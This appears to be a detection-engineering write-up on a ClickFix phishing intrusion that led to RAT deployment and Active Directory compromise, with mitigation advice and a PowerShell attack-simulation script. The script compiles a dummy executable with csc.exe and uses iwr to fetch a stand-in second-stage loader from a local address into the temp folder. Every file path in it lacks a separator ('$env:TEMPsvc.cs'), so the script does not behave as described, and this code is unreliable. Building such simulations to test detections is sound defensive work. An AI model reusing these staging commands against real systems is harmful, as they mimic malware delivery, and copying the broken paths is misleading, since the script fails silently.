SpaceX1337 ClickFix Leads to Hands-on-Keyboard AD Compromise

Summary

An adversary used a ClickFix phishing lure to deploy the SpaceX1337 RAT, followed by a multi-stage infection involving commodity RATs such as NetSupport, AsyncRAT, and Remus. The intrusion progressed from automated credential theft to interactive hands-on-keyboard activity targeting Active Directory. The attacker ultimately attempted lateral movement toward a domain controller and credential stuffing against a VPN portal.

Investigation

The intrusion was captured within a fully instrumented Active Directory honeynet, providing end-to-end visibility through EDR, Zeek, and Suricata telemetry. Researchers traced activity from the initial PowerShell downloader through extensive ADSI/LDAP reconnaissance and lateral movement over SMB. The investigation clearly identified the transition from automated malware execution to direct interaction by a human operator.

Mitigation

Organizations should enforce strict PowerShell execution controls and monitor suspicious parent-child process relationships, including explorer.exe spawning PowerShell. Security teams should detect on-host compilation through csc.exe and abuse of LOLBins such as certutil or bitsadmin for external downloads. Active Directory should also be hardened by removing sensitive data from LDAP attributes and monitoring anomalous LDAP queries.

Response

If suspicious activity is detected, incident responders should isolate affected endpoints and revoke potentially compromised service account and domain administrator credentials. Investigations should prioritize identifying multiple RAT families and checking for unauthorized scheduled tasks or registry modifications. VPN logs should also be reviewed for credential stuffing attempts originating from known malicious infrastructure.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary has gained initial access via a phishing link. To avoid bringing a known malicious .exe onto the disk, they drop a small .cs source file. They then invoke csc.exe to compile this source into a functional Windows executable (svc.exe) located in the %TEMP% directory. Immediately following compilation, the attacker uses PowerShell to fetch a second-stage loader from a remote C2 server (simulated via a local listener) using the iwr (Invoke-WebRequest) alias, saving it to the temp folder to complete the staging process.

• Regression Test Script:

  # 1. Create a dummy C# source file to simulate AdaptixC2 source
  $csFile = "$env:TEMPsvc.cs"
  $exeFile = "$env:TEMPsvc.exe"
  $sourceCode = @"
  using System;
  namespace MimicC2 {
      class Program {
          static void Main() { Console.WriteLine("Simulated Beacon"); }
      }
  }
  "@
  $sourceCode | Out-File -FilePath $csFile -Encoding ascii
  
  # 2. Simulate the csc.exe compilation (Triggers selection_csc)
  # Note: We use the exact flags specified in the detection logic
  Start-Process "csc.exe" -ArgumentList "/target:winexe", "/out:$env:TEMPsvc.exe", "$env:TEMPsvc.cs" -Wait
  
  # 3. Simulate the PowerShell Download (Triggers selection_powershell)
  # We use 'iwr' and the specific OutFile path to match the logic
  # Using a non-existent URL to avoid actual network traffic, but command line will match
  powershell.exe -Command "iwr -Uri 'http://127.0.0.1' -OutFile `"$env:TEMPx.ps1`""

• Cleanup Commands:

  Remove-Item -Path "$env:TEMPsvc.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPsvc.exe" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPx.ps1" -Force -ErrorAction SilentlyContinue